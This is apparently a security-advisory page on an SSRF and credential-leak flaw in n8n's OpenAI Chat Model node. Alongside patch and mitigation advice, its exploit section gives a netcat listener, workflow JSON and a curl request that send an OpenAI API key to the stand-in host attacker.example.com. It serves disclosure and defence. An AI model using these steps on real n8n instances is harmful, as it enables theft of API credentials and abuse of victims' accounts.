Listen to this Post
CVE-2026-86082 is a high-severity Server-Side Request Forgery (SSRF) and credential leakage vulnerability affecting the n8n open-source workflow automation platform. The flaw resides in the OpenAI Chat Model node, a component of the `@n8n/nodes-langchain` package that enables users to interact with OpenAI-compatible language models. Prior to the patched versions, this node enforced credential allowed-domain restrictions for normal API calls, but failed to apply the same validation to the model-search dropdown functionality. When a workflow editor configured the OpenAI credential with a restricted list of allowed domains, the intention was to prevent the credential from being sent to unauthorized hosts. However, the `searchModels` function—responsible for dynamically populating the list of available models in the node’s configuration interface—did not invoke the `assertOpenAiCredentialAllowsUrl` check. An authenticated user with workflow editor permissions could set the `options.baseURL` parameter to an arbitrary attacker-controlled host. When the model-search dropdown was triggered, the n8n backend would send a request to that host with the OpenAI API credential attached, typically in the `Authorization` header as a plaintext API key. This allowed the attacker to exfiltrate the credential to an external server. The vulnerability is classified as CWE-918 (Server-Side Request Forgery) and carries a CVSS v4.0 score of 7.1, reflecting the network attack vector, low attack complexity, and high confidentiality impact. The issue was fixed by routing all OpenAI call sites, including model listing, through a single shared allowed-domains validation function. Patched versions are 1.123.76, 2.37.7, and 2.38.2. The proof-of-concept demonstrates that no special tooling is required beyond an authenticated n8n session with workflow editing rights; the exploit leverages the legitimate UI functionality of the node’s model selector.
CVE-2026-86082
DailyCVE Form
Platform: n8n
Version: < 1.123.76
Vulnerability: SSRF
Severity: High
date: 2026-09-08
Prediction: 2026-09-15
What Undercode Say
Check n8n version
docker exec n8n n8n --version or curl -s http://localhost:5678/rest/settings | jq '.versionCli'
Identify workflows using OpenAI Chat Model node
Query n8n database for workflows containing the OpenAI Chat Model node type sqlite3 /home/node/.n8n/database.sqlite \ "SELECT id, name FROM workflow_entity WHERE nodes LIKE '%lmChatOpenAi%';"
Inspect affected source file
Locate the vulnerable loadModels.ts in the n8n container docker exec n8n find /usr/local/lib/node_modules -path 'LMChatOpenAi/methods/loadModels.ts'
Exploit: (Educational Purposes!)
The exploit relies on the workflow editor’s ability to configure the OpenAI Chat Model node with a custom base URL. The attacker creates or modifies a workflow, selects the OpenAI Chat Model node, and sets the `options.baseURL` field to a host under their control (e.g., `https://attacker.example.com/v1`). When the user clicks the model dropdown to load available models, the frontend calls the backend’s `searchModels` endpoint. Because the vulnerable code path omitted the `assertOpenAiCredentialAllowsUrl` check, the backend forwards the request—including the `Authorization: Bearer
Start a listener on the attacker host to capture incoming requests (run on attacker-controlled server) python3 -m http.server 443 --bind 0.0.0.0 Or use a more complete capture with netcat nc -lvnp 443
The attacker then configures the n8n node via the UI or REST API:
{
"nodes": [
{
"parameters": {
"model": "",
"options": {
"baseURL": "https://attacker.example.com/v1"
}
},
"type": "@n8n/n8n-nodes-langchain.lmChatOpenAi",
"typeVersion": 1,
"name": "OpenAI Chat Model",
"credentials": {
"openAiApi": {
"id": "1",
"name": "OpenAi account"
}
}
}
]
}
After saving the workflow, the attacker triggers the model list load—either through the UI dropdown or by invoking the internal REST endpoint directly:
Direct API call to trigger model search (requires authenticated session cookie)
curl -X POST 'http://n8n-instance:5678/rest/credentials/test' \
-H 'Cookie: n8n-auth=...' \
-H 'Content-Type: application/json' \
-d '{
"credentials": {
"openAiApi": {
"apiKey": "sk-...",
"url": "https://attacker.example.com/v1"
}
},
"nodeType": "@n8n/n8n-nodes-langchain.lmChatOpenAi"
}'
The attacker’s listener receives:
GET /v1/models HTTP/1.1 Host: attacker.example.com Authorization: Bearer sk-proj-xxxxxxxxxxxxxxxxxxxxxxxx User-Agent: OpenAI/NodeJS/...
Protection: from this CVE
Upgrade n8n immediately to version 1.123.76, 2.37.7, or 2.38.2 (or later). These releases enforce the allowed-domains assertion on the model-search path by routing all OpenAI call sites through a shared `assertOpenAiCredentialAllowsUrl` function. If an immediate upgrade is not possible, restrict n8n instance access to fully trusted users only, as the attack requires authenticated workflow editor permissions. Audit all domain-restricted `openAiApi` credentials and revoke any use-only shares granted to untrusted users. Rotate any `openAiApi` credential secrets that may have been exposed, and review downstream OpenAI account activity for unexpected usage or billing anomalies. These workarounds are temporary mitigations and do not fully remediate the underlying code flaw. For long-term defense, implement egress filtering on the n8n container to block outbound connections to unauthorized hosts, and enforce least-privilege access control for workflow editing roles.
Impact
Successful exploitation allows an authenticated workflow editor to exfiltrate plaintext OpenAI API credentials to an arbitrary attacker-controlled server. The leaked API key can then be used to access the victim’s OpenAI account, incurring unauthorized charges, accessing fine-tuned models, or leveraging the account for further abuse. Because the vulnerability is a Server-Side Request Forgery, it also enables the attacker to make requests from the n8n server to internal network resources, potentially bypassing network segmentation. The confidentiality impact is high (VC:H), while integrity and availability impacts are none (VI:N, VA:N). The CVSS v4.0 score is 7.1, and the EPSS score is approximately 0.00246 (15.84th percentile), indicating a moderate likelihood of exploitation in the wild. No public CISA KEV listing exists at the time of analysis, but a proof of concept is documented.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
